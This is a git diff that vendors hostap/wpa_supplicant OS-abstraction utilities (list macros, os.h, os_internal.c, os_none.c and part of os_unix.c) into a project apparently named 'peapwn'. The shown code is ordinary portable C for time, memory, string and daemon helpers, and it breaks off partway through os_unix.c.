+#define dl_list_first(list, type, member) \ + (dl_list_empty((list)) ? NULL : \ + dl_list_entry((list)->next, type, member)) + +#define dl_list_last(list, type, member) \ + (dl_list_empty((list)) ? NULL : \ + dl_list_entry((list)->prev, type, member)) + +#define dl_list_for_each(item, list, type, member) \ + for (item = dl_list_entry((list)->next, type, member); \ + &item->member != (list); \ + item = dl_list_entry(item->member.next, type, member)) + +#define dl_list_for_each_safe(item, n, list, type, member) \ + for (item = dl_list_entry((list)->next, type, member), \ + n = dl_list_entry(item->member.next, type, member); \ + &item->member != (list); \ + item = n, n = dl_list_entry(n->member.next, type, member)) + +#define dl_list_for_each_reverse(item, list, type, member) \ + for (item = dl_list_entry((list)->prev, type, member); \ + &item->member != (list); \ + item = dl_list_entry(item->member.prev, type, member)) + +#define DEFINE_DL_LIST(name) \ + struct dl_list name = { &(name), &(name) } + +#endif /* LIST_H */ diff --git a/peapwn/mods/hostap/src/utils/os.h b/peapwn/mods/hostap/src/utils/os.h new file mode 100644 index 000000000..77dc6e38a --- /dev/null +++ b/peapwn/mods/hostap/src/utils/os.h @@ -0,0 +1,567 @@ +/* + * OS specific functions + * Copyright (c) 2005-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef OS_H +#define OS_H + +typedef long os_time_t; + +/** + * os_sleep - Sleep (sec, usec) + * @sec: Number of seconds to sleep + * @usec: Number of microseconds to sleep + */ +void os_sleep(os_time_t sec, os_time_t usec); + +struct os_time { + os_time_t sec; + os_time_t usec; +}; + +struct os_reltime { + os_time_t sec; + os_time_t usec; +}; + +/** + * os_get_time - Get current time (sec, usec) + * @t: Pointer to buffer for the time + * Returns: 0 on success, -1 on failure + */ +int os_get_time(struct os_time *t); + +/** + * os_get_reltime - Get relative time (sec, usec) + * @t: Pointer to buffer for the time + * Returns: 0 on success, -1 on failure + */ +int os_get_reltime(struct os_reltime *t); + + +/* Helpers for handling struct os_time */ + +static inline int os_time_before(struct os_time *a, struct os_time *b) +{ + return (a->sec < b->sec) || + (a->sec == b->sec && a->usec < b->usec); +} + + +static inline void os_time_sub(struct os_time *a, struct os_time *b, + struct os_time *res) +{ + res->sec = a->sec - b->sec; + res->usec = a->usec - b->usec; + if (res->usec < 0) { + res->sec--; + res->usec += 1000000; + } +} + + +/* Helpers for handling struct os_reltime */ + +static inline int os_reltime_before(struct os_reltime *a, + struct os_reltime *b) +{ + return (a->sec < b->sec) || + (a->sec == b->sec && a->usec < b->usec); +} + + +static inline void os_reltime_sub(struct os_reltime *a, struct os_reltime *b, + struct os_reltime *res) +{ + res->sec = a->sec - b->sec; + res->usec = a->usec - b->usec; + if (res->usec < 0) { + res->sec--; + res->usec += 1000000; + } +} + + +/** + * os_mktime - Convert broken-down time into seconds since 1970-01-01 + * @year: Four digit year + * @month: Month (1 .. 12) + * @day: Day of month (1 .. 31) + * @hour: Hour (0 .. 23) + * @min: Minute (0 .. 59) + * @sec: Second (0 .. 60) + * @t: Buffer for returning calendar time representation (seconds since + * 1970-01-01 00:00:00) + * Returns: 0 on success, -1 on failure + * + * Note: The result is in seconds from Epoch, i.e., in UTC, not in local time + * which is used by POSIX mktime(). + */ +int os_mktime(int year, int month, int day, int hour, int min, int sec, + os_time_t *t); + +struct os_tm { + int sec; /* 0..59 or 60 for leap seconds */ + int min; /* 0..59 */ + int hour; /* 0..23 */ + int day; /* 1..31 */ + int month; /* 1..12 */ + int year; /* Four digit year */ +}; + +int os_gmtime(os_time_t t, struct os_tm *tm); + +/** + * os_daemonize - Run in the background (detach from the controlling terminal) + * @pid_file: File name to write the process ID to or %NULL to skip this + * Returns: 0 on success, -1 on failure + */ +int os_daemonize(const char *pid_file); + +/** + * os_daemonize_terminate - Stop running in the background (remove pid file) + * @pid_file: File name to write the process ID to or %NULL to skip this + */ +void os_daemonize_terminate(const char *pid_file); + +/** + * os_get_random - Get cryptographically strong pseudo random data + * @buf: Buffer for pseudo random data + * @len: Length of the buffer + * Returns: 0 on success, -1 on failure + */ +int os_get_random(unsigned char *buf, size_t len); + +/** + * os_random - Get pseudo random value (not necessarily very strong) + * Returns: Pseudo random value + */ +unsigned long os_random(void); + +/** + * os_rel2abs_path - Get an absolute path for a file + * @rel_path: Relative path to a file + * Returns: Absolute path for the file or %NULL on failure + * + * This function tries to convert a relative path of a file to an absolute path + * in order for the file to be found even if current working directory has + * changed. The returned value is allocated and caller is responsible for + * freeing it. It is acceptable to just return the same path in an allocated + * buffer, e.g., return strdup(rel_path). This function is only used to find + * configuration files when os_daemonize() may have changed the current working + * directory and relative path would be pointing to a different location. + */ +char * os_rel2abs_path(const char *rel_path); + +/** + * os_program_init - Program initialization (called at start) + * Returns: 0 on success, -1 on failure + * + * This function is called when a programs starts. If there are any OS specific + * processing that is needed, it can be placed here. It is also acceptable to + * just return 0 if not special processing is needed. + */ +int os_program_init(void); + +/** + * os_program_deinit - Program deinitialization (called just before exit) + * + * This function is called just before a program exists. If there are any OS + * specific processing, e.g., freeing resourced allocated in os_program_init(), + * it should be done here. It is also acceptable for this function to do + * nothing. + */ +void os_program_deinit(void); + +/** + * os_setenv - Set environment variable + * @name: Name of the variable + * @value: Value to set to the variable + * @overwrite: Whether existing variable should be overwritten + * Returns: 0 on success, -1 on error + * + * This function is only used for wpa_cli action scripts. OS wrapper does not + * need to implement this if such functionality is not needed. + */ +int os_setenv(const char *name, const char *value, int overwrite); + +/** + * os_unsetenv - Delete environent variable + * @name: Name of the variable + * Returns: 0 on success, -1 on error + * + * This function is only used for wpa_cli action scripts. OS wrapper does not + * need to implement this if such functionality is not needed. + */ +int os_unsetenv(const char *name); + +/** + * os_readfile - Read a file to an allocated memory buffer + * @name: Name of the file to read + * @len: For returning the length of the allocated buffer + * Returns: Pointer to the allocated buffer or %NULL on failure + * + * This function allocates memory and reads the given file to this buffer. Both + * binary and text files can be read with this function. The caller is + * responsible for freeing the returned buffer with os_free(). + */ +char * os_readfile(const char *name, size_t *len); + +/** + * os_zalloc - Allocate and zero memory + * @size: Number of bytes to allocate + * Returns: Pointer to allocated and zeroed memory or %NULL on failure + * + * Caller is responsible for freeing the returned buffer with os_free(). + */ +void * os_zalloc(size_t size); + +/** + * os_calloc - Allocate and zero memory for an array + * @nmemb: Number of members in the array + * @size: Number of bytes in each member + * Returns: Pointer to allocated and zeroed memory or %NULL on failure + * + * This function can be used as a wrapper for os_zalloc(nmemb * size) when an + * allocation is used for an array. The main benefit over os_zalloc() is in + * having an extra check to catch integer overflows in multiplication. + * + * Caller is responsible for freeing the returned buffer with os_free(). + */ +static inline void * os_calloc(size_t nmemb, size_t size) +{ + if (size && nmemb > (~(size_t) 0) / size) + return NULL; + return os_zalloc(nmemb * size); +} + + +/* + * The following functions are wrapper for standard ANSI C or POSIX functions. + * By default, they are just defined to use the standard function name and no + * os_*.c implementation is needed for them. This avoids extra function calls + * by allowing the C pre-processor take care of the function name mapping. + * + * If the target system uses a C library that does not provide these functions, + * build_config.h can be used to define the wrappers to use a different + * function name. This can be done on function-by-function basis since the + * defines here are only used if build_config.h does not define the os_* name. + * If needed, os_*.c file can be used to implement the functions that are not + * included in the C library on the target system. Alternatively, + * OS_NO_C_LIB_DEFINES can be defined to skip all defines here in which case + * these functions need to be implemented in os_*.c file for the target system. + */ + +#ifdef OS_NO_C_LIB_DEFINES + +/** + * os_malloc - Allocate dynamic memory + * @size: Size of the buffer to allocate + * Returns: Allocated buffer or %NULL on failure + * + * Caller is responsible for freeing the returned buffer with os_free(). + */ +void * os_malloc(size_t size); + +/** + * os_realloc - Re-allocate dynamic memory + * @ptr: Old buffer from os_malloc() or os_realloc() + * @size: Size of the new buffer + * Returns: Allocated buffer or %NULL on failure + * + * Caller is responsible for freeing the returned buffer with os_free(). + * If re-allocation fails, %NULL is returned and the original buffer (ptr) is + * not freed and caller is still responsible for freeing it. + */ +void * os_realloc(void *ptr, size_t size); + +/** + * os_free - Free dynamic memory + * @ptr: Old buffer from os_malloc() or os_realloc(); can be %NULL + */ +void os_free(void *ptr); + +/** + * os_memcpy - Copy memory area + * @dest: Destination + * @src: Source + * @n: Number of bytes to copy + * Returns: dest + * + * The memory areas src and dst must not overlap. os_memmove() can be used with + * overlapping memory. + */ +void * os_memcpy(void *dest, const void *src, size_t n); + +/** + * os_memmove - Copy memory area + * @dest: Destination + * @src: Source + * @n: Number of bytes to copy + * Returns: dest + * + * The memory areas src and dst may overlap. + */ +void * os_memmove(void *dest, const void *src, size_t n); + +/** + * os_memset - Fill memory with a constant byte + * @s: Memory area to be filled + * @c: Constant byte + * @n: Number of bytes started from s to fill with c + * Returns: s + */ +void * os_memset(void *s, int c, size_t n); + +/** + * os_memcmp - Compare memory areas + * @s1: First buffer + * @s2: Second buffer + * @n: Maximum numbers of octets to compare + * Returns: An integer less than, equal to, or greater than zero if s1 is + * found to be less than, to match, or be greater than s2. Only first n + * characters will be compared. + */ +int os_memcmp(const void *s1, const void *s2, size_t n); + +/** + * os_strdup - Duplicate a string + * @s: Source string + * Returns: Allocated buffer with the string copied into it or %NULL on failure + * + * Caller is responsible for freeing the returned buffer with os_free(). + */ +char * os_strdup(const char *s); + +/** + * os_strlen - Calculate the length of a string + * @s: '\0' terminated string + * Returns: Number of characters in s (not counting the '\0' terminator) + */ +size_t os_strlen(const char *s); + +/** + * os_strcasecmp - Compare two strings ignoring case + * @s1: First string + * @s2: Second string + * Returns: An integer less than, equal to, or greater than zero if s1 is + * found to be less than, to match, or be greatred than s2 + */ +int os_strcasecmp(const char *s1, const char *s2); + +/** + * os_strncasecmp - Compare two strings ignoring case + * @s1: First string + * @s2: Second string + * @n: Maximum numbers of characters to compare + * Returns: An integer less than, equal to, or greater than zero if s1 is + * found to be less than, to match, or be greater than s2. Only first n + * characters will be compared. + */ +int os_strncasecmp(const char *s1, const char *s2, size_t n); + +/** + * os_strchr - Locate the first occurrence of a character in string + * @s: String + * @c: Character to search for + * Returns: Pointer to the matched character or %NULL if not found + */ +char * os_strchr(const char *s, int c); + +/** + * os_strrchr - Locate the last occurrence of a character in string + * @s: String + * @c: Character to search for + * Returns: Pointer to the matched character or %NULL if not found + */ +char * os_strrchr(const char *s, int c); + +/** + * os_strcmp - Compare two strings + * @s1: First string + * @s2: Second string + * Returns: An integer less than, equal to, or greater than zero if s1 is + * found to be less than, to match, or be greatred than s2 + */ +int os_strcmp(const char *s1, const char *s2); + +/** + * os_strncmp - Compare two strings + * @s1: First string + * @s2: Second string + * @n: Maximum numbers of characters to compare + * Returns: An integer less than, equal to, or greater than zero if s1 is + * found to be less than, to match, or be greater than s2. Only first n + * characters will be compared. + */ +int os_strncmp(const char *s1, const char *s2, size_t n); + +/** + * os_strstr - Locate a substring + * @haystack: String (haystack) to search from + * @needle: Needle to search from haystack + * Returns: Pointer to the beginning of the substring or %NULL if not found + */ +char * os_strstr(const char *haystack, const char *needle); + +/** + * os_snprintf - Print to a memory buffer + * @str: Memory buffer to print into + * @size: Maximum length of the str buffer + * @format: printf format + * Returns: Number of characters printed (not including trailing '\0'). + * + * If the output buffer is truncated, number of characters which would have + * been written is returned. Since some C libraries return -1 in such a case, + * the caller must be prepared on that value, too, to indicate truncation. + * + * Note: Some C library implementations of snprintf() may not guarantee null + * termination in case the output is truncated. The OS wrapper function of + * os_snprintf() should provide this guarantee, i.e., to null terminate the + * output buffer if a C library version of the function is used and if that + * function does not guarantee null termination. + * + * If the target system does not include snprintf(), see, e.g., + * http://www.ijs.si/software/snprintf/ for an example of a portable + * implementation of snprintf. + */ +int os_snprintf(char *str, size_t size, const char *format, ...); + +#else /* OS_NO_C_LIB_DEFINES */ + +#ifdef WPA_TRACE +void * os_malloc(size_t size); +void * os_realloc(void *ptr, size_t size); +void os_free(void *ptr); +char * os_strdup(const char *s); +#else /* WPA_TRACE */ +#ifndef os_malloc +#define os_malloc(s) malloc((s)) +#endif +#ifndef os_realloc +#define os_realloc(p, s) realloc((p), (s)) +#endif +#ifndef os_free +#define os_free(p) free((p)) +#endif +#ifndef os_strdup +#ifdef _MSC_VER +#define os_strdup(s) _strdup(s) +#else +#define os_strdup(s) strdup(s) +#endif +#endif +#endif /* WPA_TRACE */ + +#ifndef os_memcpy +#define os_memcpy(d, s, n) memcpy((d), (s), (n)) +#endif +#ifndef os_memmove +#define os_memmove(d, s, n) memmove((d), (s), (n)) +#endif +#ifndef os_memset +#define os_memset(s, c, n) memset(s, c, n) +#endif +#ifndef os_memcmp +#define os_memcmp(s1, s2, n) memcmp((s1), (s2), (n)) +#endif + +#ifndef os_strlen +#define os_strlen(s) strlen(s) +#endif +#ifndef os_strcasecmp +#ifdef _MSC_VER +#define os_strcasecmp(s1, s2) _stricmp((s1), (s2)) +#else +#define os_strcasecmp(s1, s2) strcasecmp((s1), (s2)) +#endif +#endif +#ifndef os_strncasecmp +#ifdef _MSC_VER +#define os_strncasecmp(s1, s2, n) _strnicmp((s1), (s2), (n)) +#else +#define os_strncasecmp(s1, s2, n) strncasecmp((s1), (s2), (n)) +#endif +#endif +#ifndef os_strchr +#define os_strchr(s, c) strchr((s), (c)) +#endif +#ifndef os_strcmp +#define os_strcmp(s1, s2) strcmp((s1), (s2)) +#endif +#ifndef os_strncmp +#define os_strncmp(s1, s2, n) strncmp((s1), (s2), (n)) +#endif +#ifndef os_strrchr +#define os_strrchr(s, c) strrchr((s), (c)) +#endif +#ifndef os_strstr +#define os_strstr(h, n) strstr((h), (n)) +#endif + +#ifndef os_snprintf +#ifdef _MSC_VER +#define os_snprintf _snprintf +#else +#define os_snprintf snprintf +#endif +#endif + +#endif /* OS_NO_C_LIB_DEFINES */ + + +static inline void * os_realloc_array(void *ptr, size_t nmemb, size_t size) +{ + if (size && nmemb > (~(size_t) 0) / size) + return NULL; + return os_realloc(ptr, nmemb * size); +} + + +/** + * os_strlcpy - Copy a string with size bound and NUL-termination + * @dest: Destination + * @src: Source + * @siz: Size of the target buffer + * Returns: Total length of the target string (length of src) (not including + * NUL-termination) + * + * This function matches in behavior with the strlcpy(3) function in OpenBSD. + */ +size_t os_strlcpy(char *dest, const char *src, size_t siz); + + +#ifdef OS_REJECT_C_LIB_FUNCTIONS +#define malloc OS_DO_NOT_USE_malloc +#define realloc OS_DO_NOT_USE_realloc +#define free OS_DO_NOT_USE_free +#define memcpy OS_DO_NOT_USE_memcpy +#define memmove OS_DO_NOT_USE_memmove +#define memset OS_DO_NOT_USE_memset +#define memcmp OS_DO_NOT_USE_memcmp +#undef strdup +#define strdup OS_DO_NOT_USE_strdup +#define strlen OS_DO_NOT_USE_strlen +#define strcasecmp OS_DO_NOT_USE_strcasecmp +#define strncasecmp OS_DO_NOT_USE_strncasecmp +#undef strchr +#define strchr OS_DO_NOT_USE_strchr +#undef strcmp +#define strcmp OS_DO_NOT_USE_strcmp +#undef strncmp +#define strncmp OS_DO_NOT_USE_strncmp +#undef strncpy +#define strncpy OS_DO_NOT_USE_strncpy +#define strrchr OS_DO_NOT_USE_strrchr +#define strstr OS_DO_NOT_USE_strstr +#undef snprintf +#define snprintf OS_DO_NOT_USE_snprintf + +#define strcpy OS_DO_NOT_USE_strcpy +#endif /* OS_REJECT_C_LIB_FUNCTIONS */ + +#endif /* OS_H */ diff --git a/peapwn/mods/hostap/src/utils/os_internal.c b/peapwn/mods/hostap/src/utils/os_internal.c new file mode 100644 index 000000000..2cb0d1262 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/os_internal.c @@ -0,0 +1,494 @@ +/* + * wpa_supplicant/hostapd / Internal implementation of OS specific functions + * Copyright (c) 2005-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file is an example of operating system specific wrapper functions. + * This version implements many of the functions internally, so it can be used + * to fill in missing functions from the target system C libraries. + * + * Some of the functions are using standard C library calls in order to keep + * this file in working condition to allow the functions to be tested on a + * Linux target. Please note that OS_NO_C_LIB_DEFINES needs to be defined for + * this file to work correctly. Note that these implementations are only + * examples and are not optimized for speed. + */ + +#include "includes.h" + +#undef OS_REJECT_C_LIB_FUNCTIONS +#include "os.h" + +void os_sleep(os_time_t sec, os_time_t usec) +{ + if (sec) + sleep(sec); + if (usec) + usleep(usec); +} + + +int os_get_time(struct os_time *t) +{ + int res; + struct timeval tv; + res = gettimeofday(&tv, NULL); + t->sec = tv.tv_sec; + t->usec = tv.tv_usec; + return res; +} + + +int os_get_reltime(struct os_reltime *t) +{ + int res; + struct timeval tv; + res = gettimeofday(&tv, NULL); + t->sec = tv.tv_sec; + t->usec = tv.tv_usec; + return res; +} + + +int os_mktime(int year, int month, int day, int hour, int min, int sec, + os_time_t *t) +{ + struct tm tm; + + if (year < 1970 || month < 1 || month > 12 || day < 1 || day > 31 || + hour < 0 || hour > 23 || min < 0 || min > 59 || sec < 0 || + sec > 60) + return -1; + + os_memset(&tm, 0, sizeof(tm)); + tm.tm_year = year - 1900; + tm.tm_mon = month - 1; + tm.tm_mday = day; + tm.tm_hour = hour; + tm.tm_min = min; + tm.tm_sec = sec; + + *t = (os_time_t) mktime(&tm); + return 0; +} + + +int os_gmtime(os_time_t t, struct os_tm *tm) +{ + struct tm *tm2; + time_t t2 = t; + + tm2 = gmtime(&t2); + if (tm2 == NULL) + return -1; + tm->sec = tm2->tm_sec; + tm->min = tm2->tm_min; + tm->hour = tm2->tm_hour; + tm->day = tm2->tm_mday; + tm->month = tm2->tm_mon + 1; + tm->year = tm2->tm_year + 1900; + return 0; +} + + +int os_daemonize(const char *pid_file) +{ + if (daemon(0, 0)) { + perror("daemon"); + return -1; + } + + if (pid_file) { + FILE *f = fopen(pid_file, "w"); + if (f) { + fprintf(f, "%u\n", getpid()); + fclose(f); + } + } + + return -0; +} + + +void os_daemonize_terminate(const char *pid_file) +{ + if (pid_file) + unlink(pid_file); +} + + +int os_get_random(unsigned char *buf, size_t len) +{ + FILE *f; + size_t rc; + + f = fopen("/dev/urandom", "rb"); + if (f == NULL) { + printf("Could not open /dev/urandom.\n"); + return -1; + } + + rc = fread(buf, 1, len, f); + fclose(f); + + return rc != len ? -1 : 0; +} + + +unsigned long os_random(void) +{ + return random(); +} + + +char * os_rel2abs_path(const char *rel_path) +{ + char *buf = NULL, *cwd, *ret; + size_t len = 128, cwd_len, rel_len, ret_len; + + if (rel_path[0] == '/') + return os_strdup(rel_path); + + for (;;) { + buf = os_malloc(len); + if (buf == NULL) + return NULL; + cwd = getcwd(buf, len); + if (cwd == NULL) { + os_free(buf); + if (errno != ERANGE) { + return NULL; + } + len *= 2; + } else { + break; + } + } + + cwd_len = strlen(cwd); + rel_len = strlen(rel_path); + ret_len = cwd_len + 1 + rel_len + 1; + ret = os_malloc(ret_len); + if (ret) { + os_memcpy(ret, cwd, cwd_len); + ret[cwd_len] = '/'; + os_memcpy(ret + cwd_len + 1, rel_path, rel_len); + ret[ret_len - 1] = '\0'; + } + os_free(buf); + return ret; +} + + +int os_program_init(void) +{ + return 0; +} + + +void os_program_deinit(void) +{ +} + + +int os_setenv(const char *name, const char *value, int overwrite) +{ + return setenv(name, value, overwrite); +} + + +int os_unsetenv(const char *name) +{ +#if defined(__FreeBSD__) || defined(__NetBSD__) + unsetenv(name); + return 0; +#else + return unsetenv(name); +#endif +} + + +char * os_readfile(const char *name, size_t *len) +{ + FILE *f; + char *buf; + + f = fopen(name, "rb"); + if (f == NULL) + return NULL; + + fseek(f, 0, SEEK_END); + *len = ftell(f); + fseek(f, 0, SEEK_SET); + + buf = os_malloc(*len); + if (buf == NULL) { + fclose(f); + return NULL; + } + + if (fread(buf, 1, *len, f) != *len) { + fclose(f); + os_free(buf); + return NULL; + } + + fclose(f); + + return buf; +} + + +void * os_zalloc(size_t size) +{ + void *n = os_malloc(size); + if (n) + os_memset(n, 0, size); + return n; +} + + +void * os_malloc(size_t size) +{ + return malloc(size); +} + + +void * os_realloc(void *ptr, size_t size) +{ + return realloc(ptr, size); +} + + +void os_free(void *ptr) +{ + free(ptr); +} + + +void * os_memcpy(void *dest, const void *src, size_t n) +{ + char *d = dest; + const char *s = src; + while (n--) + *d++ = *s++; + return dest; +} + + +void * os_memmove(void *dest, const void *src, size_t n) +{ + if (dest < src) + os_memcpy(dest, src, n); + else { + /* overlapping areas */ + char *d = (char *) dest + n; + const char *s = (const char *) src + n; + while (n--) + *--d = *--s; + } + return dest; +} + + +void * os_memset(void *s, int c, size_t n) +{ + char *p = s; + while (n--) + *p++ = c; + return s; +} + + +int os_memcmp(const void *s1, const void *s2, size_t n) +{ + const unsigned char *p1 = s1, *p2 = s2; + + if (n == 0) + return 0; + + while (*p1 == *p2) { + p1++; + p2++; + n--; + if (n == 0) + return 0; + } + + return *p1 - *p2; +} + + +char * os_strdup(const char *s) +{ + char *res; + size_t len; + if (s == NULL) + return NULL; + len = os_strlen(s); + res = os_malloc(len + 1); + if (res) + os_memcpy(res, s, len + 1); + return res; +} + + +size_t os_strlen(const char *s) +{ + const char *p = s; + while (*p) + p++; + return p - s; +} + + +int os_strcasecmp(const char *s1, const char *s2) +{ + /* + * Ignoring case is not required for main functionality, so just use + * the case sensitive version of the function. + */ + return os_strcmp(s1, s2); +} + + +int os_strncasecmp(const char *s1, const char *s2, size_t n) +{ + /* + * Ignoring case is not required for main functionality, so just use + * the case sensitive version of the function. + */ + return os_strncmp(s1, s2, n); +} + + +char * os_strchr(const char *s, int c) +{ + while (*s) { + if (*s == c) + return (char *) s; + s++; + } + return NULL; +} + + +char * os_strrchr(const char *s, int c) +{ + const char *p = s; + while (*p) + p++; + p--; + while (p >= s) { + if (*p == c) + return (char *) p; + p--; + } + return NULL; +} + + +int os_strcmp(const char *s1, const char *s2) +{ + while (*s1 == *s2) { + if (*s1 == '\0') + break; + s1++; + s2++; + } + + return *s1 - *s2; +} + + +int os_strncmp(const char *s1, const char *s2, size_t n) +{ + if (n == 0) + return 0; + + while (*s1 == *s2) { + if (*s1 == '\0') + break; + s1++; + s2++; + n--; + if (n == 0) + return 0; + } + + return *s1 - *s2; +} + + +char * os_strncpy(char *dest, const char *src, size_t n) +{ + char *d = dest; + + while (n--) { + *d = *src; + if (*src == '\0') + break; + d++; + src++; + } + + return dest; +} + + +size_t os_strlcpy(char *dest, const char *src, size_t siz) +{ + const char *s = src; + size_t left = siz; + + if (left) { + /* Copy string up to the maximum size of the dest buffer */ + while (--left != 0) { + if ((*dest++ = *s++) == '\0') + break; + } + } + + if (left == 0) { + /* Not enough room for the string; force NUL-termination */ + if (siz != 0) + *dest = '\0'; + while (*s++) + ; /* determine total src string length */ + } + + return s - src - 1; +} + + +char * os_strstr(const char *haystack, const char *needle) +{ + size_t len = os_strlen(needle); + while (*haystack) { + if (os_strncmp(haystack, needle, len) == 0) + return (char *) haystack; + haystack++; + } + + return NULL; +} + + +int os_snprintf(char *str, size_t size, const char *format, ...) +{ + va_list ap; + int ret; + + /* See http://www.ijs.si/software/snprintf/ for portable + * implementation of snprintf. + */ + + va_start(ap, format); + ret = vsnprintf(str, size, format, ap); + va_end(ap); + if (size > 0) + str[size - 1] = '\0'; + return ret; +} diff --git a/peapwn/mods/hostap/src/utils/os_none.c b/peapwn/mods/hostap/src/utils/os_none.c new file mode 100644 index 000000000..228c4724c --- /dev/null +++ b/peapwn/mods/hostap/src/utils/os_none.c @@ -0,0 +1,231 @@ +/* + * wpa_supplicant/hostapd / Empty OS specific functions + * Copyright (c) 2005-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file can be used as a starting point when adding a new OS target. The + * functions here do not really work as-is since they are just empty or only + * return an error value. os_internal.c can be used as another starting point + * or reference since it has example implementation of many of these functions. + */ + +#include "includes.h" + +#include "os.h" + +void os_sleep(os_time_t sec, os_time_t usec) +{ +} + + +int os_get_time(struct os_time *t) +{ + return -1; +} + + +int os_get_reltime(struct os_reltime *t) +{ + return -1; +} + + +int os_mktime(int year, int month, int day, int hour, int min, int sec, + os_time_t *t) +{ + return -1; +} + +int os_gmtime(os_time_t t, struct os_tm *tm) +{ + return -1; +} + + +int os_daemonize(const char *pid_file) +{ + return -1; +} + + +void os_daemonize_terminate(const char *pid_file) +{ +} + + +int os_get_random(unsigned char *buf, size_t len) +{ + return -1; +} + + +unsigned long os_random(void) +{ + return 0; +} + + +char * os_rel2abs_path(const char *rel_path) +{ + return NULL; /* strdup(rel_path) can be used here */ +} + + +int os_program_init(void) +{ + return 0; +} + + +void os_program_deinit(void) +{ +} + + +int os_setenv(const char *name, const char *value, int overwrite) +{ + return -1; +} + + +int os_unsetenv(const char *name) +{ + return -1; +} + + +char * os_readfile(const char *name, size_t *len) +{ + return NULL; +} + + +void * os_zalloc(size_t size) +{ + return NULL; +} + + +#ifdef OS_NO_C_LIB_DEFINES +void * os_malloc(size_t size) +{ + return NULL; +} + + +void * os_realloc(void *ptr, size_t size) +{ + return NULL; +} + + +void os_free(void *ptr) +{ +} + + +void * os_memcpy(void *dest, const void *src, size_t n) +{ + return dest; +} + + +void * os_memmove(void *dest, const void *src, size_t n) +{ + return dest; +} + + +void * os_memset(void *s, int c, size_t n) +{ + return s; +} + + +int os_memcmp(const void *s1, const void *s2, size_t n) +{ + return 0; +} + + +char * os_strdup(const char *s) +{ + return NULL; +} + + +size_t os_strlen(const char *s) +{ + return 0; +} + + +int os_strcasecmp(const char *s1, const char *s2) +{ + /* + * Ignoring case is not required for main functionality, so just use + * the case sensitive version of the function. + */ + return os_strcmp(s1, s2); +} + + +int os_strncasecmp(const char *s1, const char *s2, size_t n) +{ + /* + * Ignoring case is not required for main functionality, so just use + * the case sensitive version of the function. + */ + return os_strncmp(s1, s2, n); +} + + +char * os_strchr(const char *s, int c) +{ + return NULL; +} + + +char * os_strrchr(const char *s, int c) +{ + return NULL; +} + + +int os_strcmp(const char *s1, const char *s2) +{ + return 0; +} + + +int os_strncmp(const char *s1, const char *s2, size_t n) +{ + return 0; +} + + +char * os_strncpy(char *dest, const char *src, size_t n) +{ + return dest; +} + + +size_t os_strlcpy(char *dest, const char *src, size_t size) +{ + return 0; +} + + +char * os_strstr(const char *haystack, const char *needle) +{ + return NULL; +} + + +int os_snprintf(char *str, size_t size, const char *format, ...) +{ + return 0; +} +#endif /* OS_NO_C_LIB_DEFINES */ diff --git a/peapwn/mods/hostap/src/utils/os_unix.c b/peapwn/mods/hostap/src/utils/os_unix.c new file mode 100644 index 000000000..fa67fdfb6 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/os_unix.c @@ -0,0 +1,532 @@ +/* + * OS specific functions for UNIX/POSIX systems + * Copyright (c) 2005-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include + +#ifdef ANDROID +#include +#include +#include +#endif /* ANDROID */ + +#include "os.h" +#include "common.h" + +#ifdef WPA_TRACE + +#include "wpa_debug.h" +#include "trace.h" +#include "list.h" + +static struct dl_list alloc_list; + +#define ALLOC_MAGIC 0xa84ef1b2 +#define FREED_MAGIC 0x67fd487a + +struct os_alloc_trace { + unsigned int magic; + struct dl_list list; + size_t len; + WPA_TRACE_INFO +}; + +#endif /* WPA_TRACE */ + + +void os_sleep(os_time_t sec, os_time_t usec) +{ + if (sec) + sleep(sec); + if (usec) + usleep(usec); +} + + +int os_get_time(struct os_time *t) +{ + int res; + struct timeval tv; + res = gettimeofday(&tv, NULL); + t->sec = tv.tv_sec; + t->usec = tv.tv_usec; + return res; +} + + +int os_get_reltime(struct os_reltime *t) +{ +#if defined(CLOCK_BOOTTIME) + static clockid_t clock_id = CLOCK_BOOTTIME; +#elif defined(CLOCK_MONOTONIC) + static clockid_t clock_id = CLOCK_MONOTONIC; +#else + static clockid_t clock_id = CLOCK_REALTIME; +#endif + struct timespec ts; + int res; + + while (1) { + res = clock_gettime(clock_id, &ts); + if (res == 0) { + t->sec = ts.tv_sec; + t->usec = ts.tv_nsec / 1000; + return 0; + } + switch (clock_id) { +#ifdef CLOCK_BOOTTIME + case CLOCK_BOOTTIME: + clock_id = CLOCK_MONOTONIC; + break; +#endif +#ifdef CLOCK_MONOTONIC + case CLOCK_MONOTONIC: + clock_id = CLOCK_REALTIME; + break; +#endif + case CLOCK_REALTIME: + return -1; + } + } +} + + +int os_mktime(int year, int month, int day, int hour, int min, int sec, + os_time_t *t) +{ + struct tm tm, *tm1; + time_t t_local, t1, t2; + os_time_t tz_offset; + + if (year < 1970 || month < 1 || month > 12 || day < 1 || day > 31 || + hour < 0 || hour > 23 || min < 0 || min > 59 || sec < 0 || + sec > 60) + return -1; + + memset(&tm, 0, sizeof(tm)); + tm.tm_year = year - 1900; + tm.tm_mon = month - 1; + tm.tm_mday = day; + tm.tm_hour = hour; + tm.tm_min = min; + tm.tm_sec = sec; + + t_local = mktime(&tm); + + /* figure out offset to UTC */ + tm1 = localtime(&t_local); + if (tm1) { + t1 = mktime(tm1); + tm1 = gmtime(&t_local); + if (tm1) { + t2 = mktime(tm1); + tz_offset = t2 - t1; + } else + tz_offset = 0; + } else + tz_offset = 0; + + *t = (os_time_t) t_local - tz_offset; + return 0; +} + + +int os_gmtime(os_time_t t, struct os_tm *tm) +{ + struct tm *tm2; + time_t t2 = t; + + tm2 = gmtime(&t2); + if (tm2 == NULL) + return -1; + tm->sec = tm2->tm_sec; + tm->min = tm2->tm_min; + tm->hour = tm2->tm_hour; + tm->day = tm2->tm_mday; + tm->month = tm2->tm_mon + 1; + tm->year = tm2->tm_year + 1900; + return 0; +} + + +#ifdef __APPLE__ +#include +static int os_daemon(int nochdir, int noclose) +{ + int devnull; + + if (chdir("/") < 0) + return -1; + + devnull = open("/dev/null", O_RDWR); + if (devnull < 0) + return -1; + + if (dup2(devnull, STDIN_FILENO) < 0) { + close(devnull); + return -1; + } + + if (dup2(devnull, STDOUT_FILENO) < 0) { + close(devnull); + 